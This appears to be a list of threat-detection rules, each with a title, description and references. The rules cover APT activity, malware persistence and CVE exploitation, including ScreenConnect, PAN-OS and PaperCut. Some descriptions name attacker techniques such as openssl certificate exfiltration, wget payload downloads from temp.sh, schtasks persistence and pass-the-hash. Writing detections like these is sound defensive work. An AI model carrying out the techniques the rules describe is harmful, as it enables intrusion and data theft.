SNAKE Malware Service Persistence	Detects the creation of a service named "WerFaultSvc" which seems to be used by the SNAKE malware as a persistence mechanism as described by CISA in their report	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
Ursnif Redirection Of Discovery Commands	Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.	Internal Research
Potential Compromised 3CXDesktopApp Beaconing Activity - DNS	Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise	https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/
Malicious DLL Load By Compromised 3CXDesktopApp	Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp	https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/
Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon	Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise	https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/
Potential Compromised 3CXDesktopApp Execution	Detects execution of known compromised version of 3CXDesktopApp	https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/
Potential Suspicious Child Process Of 3CXDesktopApp	Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise	https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/, https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
Potential Compromised 3CXDesktopApp Update Activity	Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software	https://www.linkedin.com/feed/update/urn:li:activity:7047435754834198529/, https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats
Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy	Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise	https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/
DLL Names Used By SVR For GraphicalProton Backdoor	Hunts known SVR-specific DLL names.	https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
Potential Compromised 3CXDesktopApp ICO C2 File Download	Detects potential malicious .ICO files download from a compromised 3CXDesktopApp via web requests to the the malicious Github repository	https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/, https://www.linkedin.com/feed/update/urn:li:activity:7047435754834198529/
Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor	Hunts for known SVR-specific scheduled task names	https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor - Task Scheduler	Hunts for known SVR-specific scheduled task names	https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
Diamond Sleet APT DNS Communication Indicators	Detects DNS queries related to Diamond Sleet APT activity	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
Diamond Sleet APT File Creation Indicators	Detects file creation activity that is related to Diamond Sleet APT activity	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
Diamond Sleet APT DLL Sideloading Indicators	Detects DLL sideloading activity seen used by Diamond Sleet APT	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
Diamond Sleet APT Process Activity Indicators	Detects process creation activity indicators related to Diamond Sleet APT	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
Diamond Sleet APT Scheduled Task Creation - Registry	Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
Diamond Sleet APT Scheduled Task Creation	Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
Potential Operation Triangulation C2 Beaconing Activity - DNS	Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB	https://securelist.com/operation-triangulation/109842/, https://www-fsb-ru.translate.goog/fsb/press/message/single.htm!id=10439739@fsbMessage.html?_x_tr_sch=http&_x_tr_sl=ru&_x_tr_tl=en&_x_tr_hl=de&_x_tr_pto=wapp
Potential Operation Triangulation C2 Beaconing Activity - Proxy	Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB	https://securelist.com/operation-triangulation/109842/, https://www-fsb-ru.translate.goog/fsb/press/message/single.htm!id=10439739@fsbMessage.html?_x_tr_sch=http&_x_tr_sl=ru&_x_tr_tl=en&_x_tr_hl=de&_x_tr_pto=wapp
Potential APT FIN7 Related PowerShell Script Created	Detects PowerShell script file creation with specific name or suffix which was seen being used often by FIN7 PowerShell scripts	https://labs.withsecure.com/publications/fin7-target-veeam-servers
Potential APT FIN7 POWERHOLD Execution	Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs	https://labs.withsecure.com/publications/fin7-target-veeam-servers
Potential POWERTRASH Script Execution	Detects potential execution of the PowerShell script POWERTRASH	https://labs.withsecure.com/publications/fin7-target-veeam-servers
Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity	Detects specific command line execution used by FIN7 as reported by WithSecureLabs for reconnaissance and POWERTRASH execution	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://labs.withsecure.com/publications/fin7-target-veeam-servers/jcr:content/root/responsivegrid/responsivegrid/responsivegrid/image_253944286.img.png/1682500394900.png, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
Lace Tempest File Indicators	Detects PowerShell script file creation with specific names or suffixes which was seen being used often in PowerShell scripts by FIN7	https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
Lace Tempest PowerShell Evidence Eraser	Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team	https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
Lace Tempest PowerShell Launcher	Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team	https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
Lace Tempest Cobalt Strike Download	Detects specific command line execution used by Lace Tempest to download Cobalt Strike as reported by SysAid Team	https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
Lace Tempest Malware Loader Execution	Detects execution of a specific binary based on filename and hash used by Lace Tempest to load additional malware as reported by SysAid Team	https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
Lazarus APT DLL Sideloading Activity	Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company	https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/, https://www.bleepingcomputer.com/news/security/lazarus-hackers-breach-aerospace-firm-with-new-lightlesscan-malware/
Mint Sandstorm - AsperaFaspex Suspicious Process Execution	Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm	https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/
Mint Sandstorm - Log4J Wstomcat Process Execution	Detects Log4J Wstomcat process execution as seen in Mint Sandstorm activity	https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/
Mint Sandstorm - ManageEngine Suspicious Process Execution	Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm	https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/
Potential APT Mustang Panda Activity Against Australian Gov	Detects specific command line execution used by Mustang Panda in a targeted attack against the Australian government as reported by Lab52	https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/
Okta 2023 Breach Indicator Of Compromise	Detects new user account creation or activation with specific names related to the Okta Support System 2023 breach. This rule can be enhanced by filtering out known and legitimate username used in your environnement.	https://www.beyondtrust.com/blog/entry/okta-support-unit-breach, https://developer.okta.com/docs/reference/api/event-types/
Onyx Sleet APT File Creation Indicators	Detects file creation activity that is related to Onyx Sleet APT activity	https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
PaperCut MF/NG Exploitation Related Indicators	Detects exploitation indicators related to PaperCut MF/NG Exploitation	https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software, https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
PaperCut MF/NG Potential Exploitation	Detects suspicious child processes of "pc-app.exe". Which could indicate potential exploitation of PaperCut	https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software, https://github.com/huntresslabs/threat-intel/blob/main/2023/2023-04/20-PaperCut/win_susp_papercut_code_execution.yml
Peach Sandstorm APT Process Activity Indicators	Detects process creation activity related to Peach Sandstorm APT	https://twitter.com/MsftSecIntel/status/1737895710169628824, https://www.virustotal.com/gui/file/364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614/details
Potential Peach Sandstorm APT C2 Communication Activity	Detects potential C2 communication activity related to Peach Sandstorm APT	https://twitter.com/MsftSecIntel/status/1737895710169628824, https://www.virustotal.com/gui/file/364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614/details
UNC4841 - Email Exfiltration File Pattern	Detects filename pattern of email related data used by UNC4841 for staging and exfiltration	https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
UNC4841 - Barracuda ESG Exploitation Indicators	Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.	https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
UNC4841 - SSL Certificate Exfiltration Via Openssl	Detects the execution of "openssl" to connect to an IP address. This techniques was used by UNC4841 to exfiltrate SSL certificates and as a C2 channel with named pipes. Investigate commands executed in the temporal vicinity of this command.	https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
UNC4841 - Download Compressed Files From Temp.sh Using Wget	Detects execution of "wget" to download a ".zip" or ".rar" files from "temp.sh". As seen used by UNC4841 during their Barracuda ESG zero day exploitation.	https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
UNC4841 - Download Tar File From Untrusted Direct IP Via Wget	Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.	https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
UNC4841 - Potential SEASPY Execution	Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor	https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection	Detects potential exploitation of CVE-2024-1709 an unauthenticated command injection in Progress Kemp LoadMaster. It looks for GET requests to '/access/set' API with the parameters 'param=enableapi' and 'value=1' as well as an "Authorization" header with a base64 encoded value with an uncommon character.	https://github.com/RhinoSecurityLabs/CVEs/blob/15cf4d86c83daa57b59eaa2542a0ed47ad3dc32d/CVE-2024-1212/CVE-2024-1212.py, https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation	This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708.	https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8, https://www.cve.org/CVERecord?id=CVE-2024-1709, https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security	This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.	https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8, https://www.cve.org/CVERecord?id=CVE-2024-1708, https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
ScreenConnect User Database Modification	Detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions.	https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8, https://www.cve.org/CVERecord?id=CVE-2024-1709, https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation	Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709.	https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8, https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass, https://www.cve.org/CVERecord?id=CVE-2024-1709
ScreenConnect User Database Modification - Security	This detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.	https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8, https://www.cve.org/CVERecord?id=CVE-2024-1709, https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process	Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.	https://github.com/amlweems/xzbot?tab=readme-ov-file#backdoor-demo
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation	Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function.	https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/, https://nvd.nist.gov/vuln/detail/CVE-2024-3400
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection	Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.	https://security.paloaltonetworks.com/CVE-2024-3400, https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/, https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group	Detects execution of the "net.exe" command in order to add a group named "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.	https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/
Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity	Detects any creation or modification to a windows domain group with the name "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.	https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/
CVE-2024-49113 Exploitation Attempt - LDAP Nightmare	Detects exploitation attempt of CVE-2024-49113 known as LDAP Nightmare, based on "Application Error" log where the faulting application is "lsass.exe" and the faulting module is "WLDAP32.dll".	https://gist.github.com/travisbgreen/82b68bac499edbe0b17dcbfa0c5c71b7, https://www.linkedin.com/feed/update/urn:li:activity:7282295814792605698/
CVE-2024-50623 Exploitation Attempt - Cleo	Detects exploitation attempt of Cleo's CVE-2024-50623 by looking for a "cmd.exe" process spawning from the Celo software suite with suspicious Powershell commandline.	https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild
Potential CSharp Streamer RAT Loading .NET Executable Image	Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool.	https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/#detections, https://cyber.wtf/2023/12/06/the-csharp-streamer-rat/
DarkGate - Drop DarkGate Loader In C:\Temp Directory	Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder.	https://www.bleepingcomputer.com/news/security/hackers-exploit-windows-smartscreen-flaw-to-drop-darkgate-malware/, https://www.trendmicro.com/en_us/research/24/c/cve-2024-21412--darkgate-operators-exploit-microsoft-windows-sma.html
File Creation Related To RAT Clients	File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.	https://www.virustotal.com/gui/file/c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761, https://www.virustotal.com/gui/file/e96a0c1bc5f720d7f0a53f72e5bb424163c943c24a437b1065957a79f5872675
Potential KamiKakaBot Activity - Lure Document Execution	Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection.	https://www.nextron-systems.com/2024/03/22/unveiling-kamikakabot-malware-analysis/
Potential KamiKakaBot Activity - Shutdown Schedule Task Creation	Detects the creation of a schedule task that runs weekly and execute the "shutdown /l /f" command. This behavior was observed being used by KamiKakaBot samples in order to achieve persistence on a system.	https://www.nextron-systems.com/2024/03/22/unveiling-kamikakabot-malware-analysis/, https://tria.ge/240123-rapteaahhr/behavioral1
Potential KamiKakaBot Activity - Winlogon Shell Persistence	Detects changes to the "Winlogon" registry key where a process will set the value of the "Shell" to a value that was observed being used by KamiKakaBot samples in order to achieve persistence.	https://www.nextron-systems.com/2024/03/22/unveiling-kamikakabot-malware-analysis/
Potential Kapeka Decrypted Backdoor Indicator	Detects the presence of a file that is decrypted backdoor binary dropped by the Kapeka Dropper, which disguises itself as a hidden file under a folder named "Microsoft" within "CSIDL_COMMON_APPDATA" or "CSIDL_LOCAL_APPDATA", depending on the process privileges. The file, typically 5-6 characters long with a random combination of consonants and vowels followed by a ".wll" extension to pose as a legitimate file to evade detection.	https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
Kapeka Backdoor Loaded Via Rundll32.EXE	Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In.	https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
Kapeka Backdoor Persistence Activity	Detects Kapeka backdoor persistence activity. Depending on the process privileges, the Kapeka dropper then sets persistence for the backdoor either as a scheduled task (if admin or SYSTEM) or autorun registry (if not). For the scheduled task, it creates a scheduled task called "Sens Api" via schtasks command, which is set to run upon system startup as SYSTEM. To establish persistence through the autorun utility, it adds an autorun entry called "Sens Api" under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run via the "reg add" command. Both persistence mechanisms are set to launch the binary by calling rundll32 and passing the backdoor's first export ordinal (#1) without any additional argument.	https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/, https://www.virustotal.com/gui/file/bd07fb1e9b4768e7202de6cc454c78c6891270af02085c51fce5539db1386c3f/behavior
Kapeka Backdoor Execution Via RunDLL32.EXE	Detects Kapeka backdoor process execution pattern, where the dropper launch the backdoor binary by calling rundll32 and passing the backdoor's first export ordinal (#1) with a "-d" argument.	https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
Kapeka Backdoor Autorun Persistence	Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.	https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
Kapeka Backdoor Configuration Persistence	Detects registry set activity of a value called "Seed" stored in the "\Cryptography\Providers\" registry key. The Kapeka backdoor leverages this location to register a new SIP provider for backdoor configuration persistence.	https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
Kapeka Backdoor Scheduled Task Creation	Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698, https://labs.withsecure.com/publications/kapeka, https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/, https://www.virustotal.com/gui/file/bd07fb1e9b4768e7202de6cc454c78c6891270af02085c51fce5539db1386c3f/behavior
Lummac Stealer Activity - Execution Of More.com And Vbc.exe	Detects the execution of more.com and vbc.exe in the process tree. This behavior was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process.	https://www.virustotal.com/gui/search/behaviour_processes%253A%2522C%253A%255C%255CWindows%255C%255CSysWOW64%255C%255Cmore.com%2522%2520behaviour_processes%253A%2522C%253A%255C%255CWindows%255C%255CMicrosoft.NET%255C%255CFramework%255C%255Cv4.0.30319%255C%255Cvbc.exe%2522/files, https://www.virustotal.com/gui/file/14d886517fff2cc8955844b252c985ab59f2f95b2849002778f03a8f07eb8aef, https://strontic.github.io/xcyclopedia/library/more.com-EDB3046610020EE614B5B81B0439895E.html, https://strontic.github.io/xcyclopedia/library/vbc.exe-A731372E6F6978CE25617AE01B143351.html
Potential Raspberry Robin Aclui Dll SideLoading	Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.	https://research.checkpoint.com/2024/raspberry-robin-keeps-riding-the-wave-of-endless-1-days/, https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/, https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/, https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/, https://strontic.github.io/xcyclopedia/library/aclui.dll-F883E9CA757B622B032FDCA5BF33D0DF.html
Potential Raspberry Robin CPL Execution Activity	Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants.	https://tria.ge/240226-fhbe7sdc39/behavioral1, https://bazaar.abuse.ch/browse/signature/RaspberryRobin/
Potential Raspberry Robin Registry Set Internet Settings ZoneMap	Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024. Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections.	https://tria.ge/240225-jlylpafb24/behavioral1/analog?main_event=Registry&op=SetValueKeyInt, https://tria.ge/240307-1hlldsfe7t/behavioral2/analog?main_event=Registry&op=SetValueKeyInt, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.InternetExplorer::IZ_ProxyByPass, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.InternetExplorer::IZ_UNCAsIntranet, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.InternetExplorer::IZ_IncludeUnspecifiedLocalSites, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.InternetExplorer::SecurityPage_AutoDetect, https://bazaar.abuse.ch/browse/signature/RaspberryRobin/
DPRK Threat Actor - C2 Communication DNS Indicators	Detects DNS queries for C2 domains used by DPRK Threat actors.	https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2024-02-19-joint-cyber-security-advisory-englisch.pdf?__blob=publicationFile&v=2
Potential APT FIN7 Exploitation Activity	Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains.	https://cloud.google.com/blog/topics/threat-intelligence/evolution-of-fin7/
Forest Blizzard APT - File Creation Activity	Detects the creation of specific files inside of ProgramData directory. These files were seen being created by Forest Blizzard as described by MSFT.	https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/
Forest Blizzard APT - JavaScript Constrained File Creation	Detects the creation of JavaScript files inside of the DriverStore directory. Forest Blizzard used this to exploit the CVE-2022-38028 vulnerability in Windows Print Spooler service by modifying a JavaScript constraints file and executing it with SYSTEM-level permissions.	https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/
Forest Blizzard APT - Process Creation Activity	Detects the execution of specific processes and command line combination. These were seen being created by Forest Blizzard as described by MSFT.	https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/
Forest Blizzard APT - Custom Protocol Handler Creation	Detects the setting of a custom protocol handler with the name "rogue". Seen being created by Forest Blizzard APT as reported by MSFT.	https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/
Forest Blizzard APT - Custom Protocol Handler DLL Registry Set	Detects the setting of the DLL that handles the custom protocol handler. Seen being created by Forest Blizzard APT as reported by MSFT.	https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/
ScreenConnect - SlashAndGrab Exploitation Indicators	Detects indicators of exploitation by threat actors during exploitation of the "SlashAndGrab" vulnerability related to ScreenConnect as reported Team Huntress	https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
Account Created And Deleted By Non Approved Users	Detects accounts that are created or deleted by non-approved users.	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts
Authentication Occuring Outside Normal Business Hours	Detects user signs ins outside of normal business hours.	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins
Privilege Role Elevation Not Occuring on SAW or PAW	Detects failed sign-in from a PAW or SAW device	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor
Privilege Role Sign-In Outside Expected Controls	Detects failed sign-in due to user not meeting expected controls for adminitrators	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor
Privilege Role Sign-In Outside Of Normal Hours	Detects account sign ins outside of normal hours or uncommon locations. Administrator accounts should be investigated	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor
User with Privileges Logon	Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.	https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md, https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672, https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964
Potential Zerologon (CVE-2020-1472) Exploitation	Detects potential Netlogon Elevation of Privilege Vulnerability aka Zerologon (CVE-2020-1472)	https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472, https://www.logpoint.com/en/blog/detecting-zerologon-vulnerability-in-logpoint/
Potential Pass the Hash Activity	Detects the attack technique pass the hash which is used to move laterally inside the network	https://github.com/nsacyber/Event-Forwarding-Guidance/tree/6e92d622fa33da911f79e7633da4263d632f9624/Events
Remote Registry Management Using Reg Utility	Remote registry management using REG utility from non-admin workstation	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Interactive Logon to Server Systems	Detects interactive console logons to Server Systems	Internal Research
DNS Request From Windows Script Host	Detects unusual domain resolutions originating from CScript/WScript that can identify malicious javascript files executing in an environment, often as a result from a phishing or watering hole attack.	Internal Research
New RDP Connection Initiated From Domain Controller	Detects an RDP connection originating from a domain controller.	Internal Research
Userdomain Variable Enumeration	Detects suspicious enumeration of the domain the user is associated with.	https://www.arxiv-vanity.com/papers/2008.04676/, https://thedfirreport.com/2022/11/14/bumblebee-zeros-in-on-meterpreter/
